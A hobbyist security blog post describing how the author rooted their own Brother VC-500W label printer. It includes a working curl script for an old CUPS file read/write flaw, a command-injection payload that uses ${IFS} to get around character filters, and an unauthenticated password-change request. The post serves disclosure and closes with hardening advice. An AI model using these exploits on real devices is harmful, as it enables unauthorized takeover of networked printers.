Pwning a Brother labelmaker, for fun and interop!

If you want just the exploit: here's the repo! <3

I walk into the bedroom, hearing curses directed vaguely towards computers. My girlfriend is, figuratively, trying to beat a small white box into submission. I come closer, see that it's a printer, semi-jokingly say "I'm SO glad that it's not my problem!", and turn right back.

Exiting the room, I'm having second thoughts. I guess that I do want some pain today after all.

one of the original winnie the pooh sketches. pooh is looking at a label printer. it's labeled in a monospace font: Oh, Bother... you fell so low

Our main character is a Brother-branded VC-500W. When installing the printer, I learn that it's exposing a downright medieval version of CUPS. It's an experience similar to taking out an old Android phone out of a drawer and being astonished at how dated the UI looks. Do you remember that CUPS had this atrocious gradiented navbar?

Picture 1 - the cups 1.6.x experience. dark theme, making it even worse, sponsored by darkreader

This has ticked off something in my brain that immediately made me want to dig deeper, because... a brand new device? Shipping with a 2012 build of CUPS? Something's fishy.

It's a lot worse, actually

Initial setup consisted of clicking through a wizard on a separate web server with some CGI glue in the back.

Picture 2 - Brother's equally dated setup page. take note of the copyright date

During the process I've seen a few things which stuck out as kind of weird, like... a very long GET request for connecting to a specified WiFi network: password=bWFkZXVsb29rISEK& number=01& Address=D6%3A01[snip]& ESSID=[snip]& Encryption_key=on& IE0_label=WPA+Version+1& IE0_Group_Cipher=CCMP& IE0_Pairwise_Ciphers=CCMP& IE0_Authentication_Suites=PSK& IE1_label=[snip]& IE1_Group_Cipher=CCMP& IE1_Pairwise_Ciphers=CCMP& IE1_Authentication_Suites=PSK& Quality=100%2F100& selected_ap=[snip]+(100%2F100) this just screams "oooo do command injection oooo i'm not sanitized"

But I ignored them for now, and pressed on. I checked our mikrotik to see what lease the printer got from the DHCP server, and...

Picture 3 - some spicy system details, as randomly discovered in mikrotik's DHCP leases section

Excuse me? I actually didn't notice the whole string at first, only later when closing excess windows. I was left dumbfounded at the sight: There's a CUPS version that's 10+ years old, Linux kernel almost old enough to drink, all of that running crawling on an ARMv5. On a device that's still in production, which you can buy right now.

Now I had to investigate.

Some initial recon consisted of searching for the device online, to see if anyone has attempted to hack it already. The only result I found was this github repo, which provided some good surface-level info, mostly with regards to where they host the firmware. Turns out that the upgrade packages are in .tgz.gpg format, which... doesn't tell me much, but still manages to inflict mental pain. I had no use for those right now anyways, but they will surely come in handy later.

Furthermore, I had a quick search for CUPS vulns around this vintage. Turns out that my version is the last one to be vulnerable to an Arbitrary File Read/Write vulnerability (often miscredited to CVE-2012-5519). With some Copy as cURL1 magic, I prepared myself a script: #1
if you don't know: press F12 right now, go to the network tab and right click any request.
you'll thank me later ;3

#!/bin/bash if [[ ! "$1" ]]; echo "usage: $0 " fi curl '' -X POST \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Cookie: org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \ --data-raw 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05&OP=config-server&CUPSDCONF=LogLevel+debug%0D%0ASystemGroup+root%0D%0AGroup+3003%0D%0AServerAlias+*%0D%0A%23+Allow+remote+access%0D%0APort+631%0D%0AListen+%2Fvar%2Frun%2Fcups%2Fcups.sock%0D%0ABrowsing+On%0D%0ABrowseOrder+allow%2Cdeny%0D%0ABrowseAllow+all%0D%0ABrowseLocalProtocols+all%0D%0ABrowseWebIF+No%0D%0AMaxJobs+8%0D%0AMaxClients+5%0D%0AMaxLogSize+5000000%0D%0APreserveJobFiles+No%0D%0APreserveJobHistory+Yes%0D%0ADefaultAuthType+Basic%0D%0ADefaultEncryption+Required%0D%0AWebInterface+Yes%0D%0APageLog+%2F'"$1"'%0D%0A%3CLocation+%2F%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadmin%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadmin%2Fconf%3E%0D%0A++%23+Allow+remote+access+to+the+configuration+files...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CPolicy+default%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0A%3CPolicy+authenticated%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0A&SAVECHANGES=Save+Changes' >/dev/null # sorry for this being so long, i have no way to format it sanely x.x until curl -s; do : done, a generic script to fetch any file through the CUPS vuln | this field scrolls

The PoC I found used the ErrorLog directive, which appends a lot of garbage to the files. During my tests, I accidentally did that to my /etc/passwd; Thankfully, because CUPS doesn't truncate the file, no harm was done. I later found that the same effect can be achieved using PageLog, which leaves the files almost unhurt. We'll get to that "almost" in a bit.

root:x:0:0:root:/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh ftp:x:83:83:ftp:/home/ftp:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:Operator:/var:/bin/sh default:x:1000:1000:Default non-root user:/home/default:/bin/sh passwd, with trailing garbage removed for readability

Unfortunately, /etc/passwd doesn't tell us anything especially interesting. I also pulled /etc/shadow, but it didn't have any password hashes. /bin/sh was more fruitful:

domi@zork:~/projects/bro$ file sh sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/, stripped domi@zork:~/projects/bro$ strings sh | grep -i busy -r Try to remount devices as read-only if mount is busy busybox Usage: busybox [function] [arguments]... or: busybox --list[-full] BusyBox is a multi-call binary that combines many common Unix link to busybox for each function they wish to use and BusyBox BusyBox v1.19.4 (2018-05-14 11:11:59 EDT) crond (busybox 1.19.4) started, log level %d anonymous:busybox@ syslogd started: BusyBox v1.19.4 %s busy - remounted read-only fsck (busybox 1.19.4, 2018-05-14 11:11:59 EDT)

As I expected, it was an ancient version of busybox. I thought about manipulating ErrorLog to leverage busybox's nc and append myself a remote shell to one of the initscripts, but I decided to check out our friends in CGI land first.

Vendor's delight

After the initial setup, the utility expands to provide some additional settings. We can rename the shared printer (no injections here, sadly), and... set up custom TLS certs?

Picture 4 - you see that right, we have multiple input boxes AND two file upload forms!

I quickly found that using $(), ``, or even just ; in any of the input fields can lead to code execution.

rm generated.csr wget cat generated.csr | openssl req -noout -text small script to get the output; downloads a CSR and parses it with OpenSSL Picture 5 - whoops. guess i'm root

It's worth noting that finding this wasn't endgame just yet. My character set was quite limited, which made it really hard to start a reverse shell. Through trial and error, I found out that I couldn't use slashes (oof.) and spaces (OOF.) - but dollar signs and curly braces worked just fine.

env my beloved

My favourite trick when I can't use a certain character in an exploit is to step back, and figure out what we already have. A lot of the time, you can find just what you need in $PS1 or some other common environment variable. For my purpose, $IFS (the inner-field separator! your shell likely uses this for dividing text into indicies in loops and such) worked perfectly. I used it to insert whitespace between parameters.

./ ''\ 'C=AT&'\ 'ST=b&'\ 'L=d"$(head${IFS}-n1${IFS}/etc/passwd|cat)"&'\ 'O=asdf&'\ 'OU=meow&'\ 'CN=uwu&'\ ''\ 'Generate=Generate' cat abuse to test if pipes work OK; `d` to ensure the param is never empty

At some point, I messed up. Or so I thought - my exploit still worked OK, but many things on the admin page were empty. I suspected that I broke something with one of the requests, so I rebooted the device. That turned out to be a grave mistake, since after the reboot, the CGI admin interface wouldn't start, and CUPS was working only partially (Administration page would return 500). Oops.

Back to the previous exploit

The last command I ran was trying to copy /etc/passwd into a different location, to see if the other place was writable. I suspected that I messed something up and damaged /etc/passwd, which lead me into an hour-long rabbithole to repair it.

Hypothesis: passwd is now garbage, but I can use the vulnerability in CUPS to recreate it, right? When retrieving /etc/passwd through PageLog, it seemed to be some random binary file, so this sounded at least vaguely plausible. Unfortunately, an hour in, I figured out that my previous CUPS exploit stopped working - the config file wasn't being written anymore.

I dug deeper. CUPS apparently includes not one, but two different ways to edit the config - one through a form POST request to /admin/ (which didn't work anymore), and another via PUT to /admin/conf/. Additionally, I could do GET the same file to check its contents.

I fetched /etc/passwd again. It had some garbage on the end, but that's fine (common tools that parse it are REALLY forgiving about the syntax). So, something else must have gone awry...

Having arbitrary write (within the confines of a /etc/cups/ - I tried doing the classic /admin/conf/%2e%2e%2fpasswd, but it wasn't vulnerable), I started thinking how I can abuse that to get RCE and fix what I broke. I thought of rewriting printers.conf, and then using CUPS filters to either gain a shell directly, or gain arbitrary file write to anywhere in the OS and use that to get a shell.

I made a test CUPS environment locally. I spent a few hours trying to get a simple arbitrary file write, but even though I had all the freedom within the CUPS config, I couldn't get it to work. I finally gave up on trying to use filters in my exploit chain - most likely, I could get something through them, but I lack a good enough understanding of CUPS, and I don't really want to learn more about printers :^)

As a last ditch effort, I went back to my first idea of using ErrorLog for arbitrary file write - I found out that CUPS 1.6.1 improperly parses the URL while logging errors, hence I could turn %0a into a real newline. Neat, but I still need to find a suitable file to exploit...

S3 bucket full of goods

You only start to appreciate file listings once you have a vuln that forces you to guess filenames. But what if I could just look at the base image without any restrictions?

Picture 6 - how nice of them, they left the listing on!

The GH repo I found at the very beginning gave a link to a file under Looks like requesting just / gives a full file listing, at least as of 2024-06-29. There are some meta files on the very top, then elements of a web UI, some logs (???) and finally lots of .tgz.gpg files. The .gpg extension seems to be a fake - according to file, those files are just openssl enc'd. This makes them easier to encrypt and decrypt, but unlike GPG, the keys are symmetric; if the "decryption" key is found, it would be trivial to make our own upgrade packages.

Picture 7 - an astute reader may notice that the last file is not like the others

Still, I probably would need to reverse one of the native binaries to find the key. Fortunately, luck was on my side! A bunch of those files were uploaded both in .tgz.gpg and plain .tgz form. Oops?

Let's explore!

I fetched a file named zinkupgrade-latest.tgz, last modified in May of 2021. It's available here if you want to play along at home.

The system is a custom buildroot environment, with a... peculiar selection of software. They've embedded busybox and microperl to cut on size, but then used full versions of OpenSSH, OpenSSL and CUPS. I can only assume that this project has been hot-potatoed through many underpaid engineers, and this does seem to track with what I found digging through the files.

# Check hardware id nibble. if devmem 0xf0000ede | grep '[8A].$' > /dev/kmsg then MODEL=wedge # Zink electronics driver module. insmod /etc/zbe_printer_W.ko elif devmem 0xf0000ede | grep '[9].$' > /dev/kmsg then MODEL=turbob insmod /etc/zbe_printer_T.ko fi an excerpt from /etc/init.d/S91zink

Initscripts mention devices named "Wedge" and "Turbob", some config files also are dedicated for "hAppy". Searching for the last one leads me to

Picture 8 - a grim capitalist hellscape courtesy of

Oh, bother. You fell so low. Looks like zink is the OEM here, and Brother is just slapping a logo and some branding into the mix. Shameful!

Looking at the review section on my least favourite e-commerce site named after a rain forest, first reviews originate from around 2015. I'm not sure if zink was licensing this printer from the very beginning, or if they started later because it wasn't selling - but it seems that they have one specific design and they're happy to milk it for as long and as cheap as possible.

Aaaanyways. After I finished pondering about capitalism, I settled upon S91zink as the file I'd append my commands to. I set the ErrorLog file to /etc/init.d/S91zink, and called a non-existant URL Just to be in the clear, I reverted ErrorLog to the default, and rebooted the printer.

...It never started back up. I was dumbfounded, but it was already dawn, so I called it a night. Next day, I'd have to find UART to unbrick it.


This section contains physical details about the device;
Feel free to skip to the unbricking if that doesn't interest you ^w^

The printer won't win any prizes for user-repairability. Brother's user docs didn't mention anything about opening it for maintenance either, so I was on my own.

If the paper cassette gets removed, there are three screws visible from the bottom. It's not any of those - they only secure the assembly that holds onto the paper cassette itself. But this presents a problem: there are no other screws accessible, and while the white side panel does have a few clips, trying to pry the sides open in this state proved fruitless.

Out of ideas and desperate for answers, I flew to Japan tried analyzing other parts of the case. I didn't expect anything to be under the black top part, but I pried it off anyways for shits and giggles:

Picture 9 - top cover off

... to my utmost surprise, screws! Also PSA: it appears that you can get the top off without using a pry tool - there's a small hole from the bottom in the back of the device which (I THINK) is there to poke a screwdriver through and push the top off. Points to Zink, good design!

Picture 10 - under the 2nd layer

After removing the second layer of plastic... we see a little bit more, but not much. Peeking into one of the holes, I noticed our reward, four suspiciously-UART looking solderpoints:

Picture 11 - our cute UART. Leftmost (square) pad is VCC, then RX/TX and GND.

To get the third layer of plastic off, you have to remove the front paper presence sensor - there are two more screws under it. Afterwards, the white walls should slide upwards.

Picture 12 - two more screws Picture 13 - desk status: infested by a hacker

Unbricking, and what went wrong

Armed with UART, I jumped into a shell. During the boot process, I also noticed that the same UART gives unrestricted access to U-Boot, which may come in handy when porting a newer kernel to the device (should anyone want to do that).

Picture 14 - all printers should come like this from the factory!

I quickly found what I broke: some init files weren't executable. Remember when I wrote that CUPS' PageLog directive leaves files almost unmarked? ... well, it changes the permissions.

# mount rootfs on / type rootfs (rw) ubi0 on / type ubifs (rw,relatime) proc on /proc type proc (rw,relatime) devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000) tmpfs on /tmp type tmpfs (rw,relatime,size=61440k) sysfs on /sys type sysfs (rw,relatime) debugfs on /sys/kernel/debug type debugfs (rw,relatime) ubi1_0 on /local type ubifs (rw,relatime)

Yes, the whole rootfs is mounted as read/write by default. Dangerous!

A further analysis of the firmware

While writing this blogpost, I've caught myself reading through assorted initscripts and microperl programs to double-check myself and my previous assumptions. Thanks to that, I found... a few more weird things about the firmware:

Password auth

curl \ -d 'passwordStr=uwu' a password change call. heck, an unauthenticated password change!

The admin password on this device is an interesting creature in general. It's stored in /etc/www/config/webconfig.xml in an unhashed, unencrypted form; at the very least it's set per-device, and printed on the bottom label!

(... or at least I hope it's per-device...)

<?xml version="1.0" encoding="utf-8"?> <config> <password_chk_str>true</password_chk_str> <password_str>meow</password_str> <geo_location>0.0,0.0</geo_location> <airprint_etag>0.00</airprint_etag> </config> dump of webconfig.xml from my device.
indentation suffers, because /system/www/scripts/setDeviceInfo edits this file using sed ;-;

How the web UI verifies the password is somehow even weirder. Frontend makes a GET request to /cgi-bin/getdata?checkPassword, then a microPerl script... parses webconfig.xml with awk (💀) and returns the value. The first script then puts said value into something that *gulp* gets evaluated in the browser:

var isSetPassword=true; var checkPassword=true; response to GET /cgi-bin/getdata?checkPassword 💀💀💀

If checkPassword is true, frontend POSTs the password to /cgi-bin/postdata. If it matches, user gets a redirect, and some shoddy JS code sets a cookie with the password. Everyone carries on with their day.

Meanwhile: if checkPassword is set to false, the password is never checked; This is merely a cosmetic change on the frontend: the backend NEVER checks the cookie, no matter the setting!! The auth is merely an illusion in the browser, one which can be broken with as much as one of the requests failing to arrive. Some subpages, like /certs.html assume that you've had to go through the auth process, so.. they never even check for the cookie!

I couldn't have thought up of a worse, more cursed "authentication" flow if I tried. This is egregiously bad in 2024, but it was already REALLY BAD on release day.

Closer look on postdata

A vast majority of the data exposed through the web interface is requested through getdata and modified through postdata. Both of those are microPerl scripts which deal with parsing and sanitization of request data, and then call yet another microPerl script to do the actual reading / writing.

# (...) my $nextPage = ""; $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/; if ($ENV{'REQUEST_METHOD'} eq "POST") { &parseDataPost; print "Location: $nextPage\n\n"; } exit(0); # (...)

The file starts with some unrelated glue code for parsing the env, and then immediately checks the CGI REQUEST_METHOD variable. Make note of the print statement in this if.

sub parseDataPost { local ($buffer, @pairs, $pair, $name, $value); read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); # Split information into name/value pairs and decode url-encoded data. @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair,2); $value =~ tr/+/ /; $value =~ s/%(..)/pack("C", hex($1))/eg; &writeToFile($name,$value); } }

parseDataPost gets called next, and it simply deserializes POST params one by one. Notice the cheap urldecode inside the foreach...

sub writeToFile { my $str = $_[1]; if($_[0] eq "passwordStr") { $str = changeEscapeStr($str); $str =~ s/&/\\&/g; &setVars("password_str",$str); } elsif($_[0] eq "printerName") { &setVars("printer_name",$_[1]); } elsif($_[0] eq "printerLoc") { &setVars("printer_loc",$_[1]); } elsif($_[0] eq "geoLoc") { &setVars("geo_location",$_[1]); } elsif($_[0] eq "cropEnabled") { &setVars("crop_enabled",$_[1]); } elsif($_[0] eq "NextPage") { $nextPage = $_[1]; } elsif($_[0] eq "clearPassword") { &clearPassInfoVars(); } elsif($_[0] eq "checkPassword") { if(changeEscapeStr($_[1]) eq &getVar("password_str")){ &setVars("password_chk_str",true); } else { &setVars("password_chk_str",false); } } } don't worry! they discover case statements in the next file!

Going further, writeToFile decides on what to do with the input. If the name is NextPage, a variable is set with no further checks whatsoever... Hey, do you smell something burning?

Picture 15 - oops, i'm in the response body

NextPage is vulnerable to data injection! It's reflected, so we don't gain much - but it's still funny to see.

sub changeEscapeStr { my $str = $_[0]; $str =~ s/&/&amp;/g; $str =~ s/</&lt;/g; $str =~ s/>/&gt;/g; $str =~ s/"/&quot;/g; $str =~ s/'/&apos;/g; $str =~ s/\*/&#x2a;/g; # $str =~ s/&/\\&/g; return $str; } /etc/www/cgi-bin/postdata; poor man's html string escape

Somehow, even with all of those issues, we still don't get a free RCE. In a few places, the firmware gets narrowly saved by quotes, and in at least one place by parameter splitting. It's still not good code, tho.

.ko's in /etc

Perhaps the most eyebrow-raising part of this whole adventure was seeing how messy and cluttered the base image was. Constructs like /etc/www, messy symlinks interconnecting different directories for seemingly no reason, things thrown around with zero understanding of how everything works, etc.

Picture 16 - base tgz, listing of /etc/. Notice the first two files.

For the uninitiated, ko files are Kernel Objects, aka kernel modules. In very short terms, modules extend capabilities of the kernel, and allow it to talk to additional devices (so, they're technically drivers2). #2
"technically", because a kernel module can do virtually anything. meanwhile, if one thinks about drivers, they usually think about interfacing with hardware. writing this before someone nitpicks ;p
On usual systems, they reside somewhere in /lib/modules/ in a specific agreed-upon directory structure, where they're loaded by a process that listens to hardware changes. /etc is... quite the unusual place for a kernel module.

# Load WiFi module. if lsusb | grep 0bda:0179 > /dev/null then # Brother rtl8188eu insmod /etc/8188eu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1 elif lsusb | grep 0bda:f179 > /dev/null then # Brother rtl8188fu ( Gabe's modified version 2/5/2021 ) insmod /etc/8188fu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1 else # hAppy *** obsolete unless we retain WEXT for rtl8188eu insmod /etc/8192cu.ko fi excerpt from /etc/init.d/S20zink

One of the init files mentions both of those files, and then one more. While we can't be exactly sure of the origin of those modules, this GitHub repository is my best guess. The code is licensed under GPL-2.0, and the init file mentions a "modified version"... Do I smell a license violation? :^)

Firmware upgrade flow

I haven't dug into this as much as I wanted (reason: no spoons); There's a microPerl script in cgi-bin which handles the downloads, and then /usr/bin/upgrade decrypts and unpacks the image. Of note, old files don't get deleted, which makes persistency of changes trivial - my sshd still started after a test upgrade :3c

I haven't had the need to dig into the firmware encryption, so all I know is that the key is hardcoded somewhere in the upgrade executable. Likewise, I only skimmed over the certmgr binary, which sponsored this whole exploit - I leave both of those things as excercises for the reader.

What now?

I don't know! While all of those devices are insecure, they're (thankfully) quite light on cloud connectivity - beyond fetching updates from AWS S3, it doesn't look like anything phones home. This limits most of the attack vectors to the local network. Zink clearly doesn't care about security - not only did they not ship security updates for almost 10 years now, their firmware was vulnerable on release day. Then, there are glaring holes in their own software, with pieces missing or implemented really hastily. This is a textbook example of "S in IoT stands for Security".

Having root access, one can implement workarounds for those security issues to make the whole device a little bit less pwnable. So I'd argue that if you have the device - hack it, disable remote CUPS config edit, and disable lighttpd entirely. This should make it secure-ish, at least against the vulns I outlined.

Myself, I'm in the process of making a small application allowing for direct label printing from a webserver on the device itself, because that will ultimately reduce the amount of times I have to touch CUPS in the future. It'll get pushed to the exploit repository when it's ready :3

Addendum: Kiesel time!

During the proofread, Linus reached out to me with a request...

mattermost screenshot; linus wrote "I want to run javascript on the labelmaker now", i responded with credentials and an IP. Linus replied with pogScott
Picture 17 - do NOT give Linus access to your printer

I thought they were joking, but not 2 hours later, they show me this:

Picture 18 - has science gone too far? javascript on a labelmaker

If you're in a mood for more cursed hacks, there's a more in-depth blogpost about porting Kiesel to the labelmaker on Linus' page. Check it out!

  1. Copy as cURL - if you don't know: press F12 right now, go to the network tab and right click any request. you'll thank me later
  2. "so, they're technically drivers" - "technically", because a kernel module can do virtually anything. meanwhile, if one thinks about drivers, they usually think about interfacing with hardware. writing this before someone nitpicks ;p

Huge thanks to ari, Lili, Linus, kleines Filmröllchen, and famfo for proofreading this post!

Support me on ko-fi!


Duncan Bayne at 02.07.2024, 23:26:21


Johan at 03.07.2024, 07:53:44

Great post, fantastic walk-through.

PinkFreud at 03.07.2024, 13:47:53

Hulu hell. With an OS image that badly put together, why even bother with authentication in the first place? That seems like a lot of work for something that effectively allows unrestricted access with an easy bypass, not to mention more holes than Swiss cheese. I know not to expect a lot from this industry (that's precisely how the phrase you mentioned above, 'The S in IoT stands for security', came to be, after all!), but this is a new low for an industry plagued with security issues.

Matthias Klose at 06.07.2024, 06:53:19

excellent read, refreshing morning lecture. many thanks! love the font face here. is it vga 80x25?

RJ at 06.07.2024, 17:01:26

I plugged my Brother label printer in and my LinuxMint automatically worked with it. No setup needed.

By commenting, you agree for the session cookie to be stored on your device ;p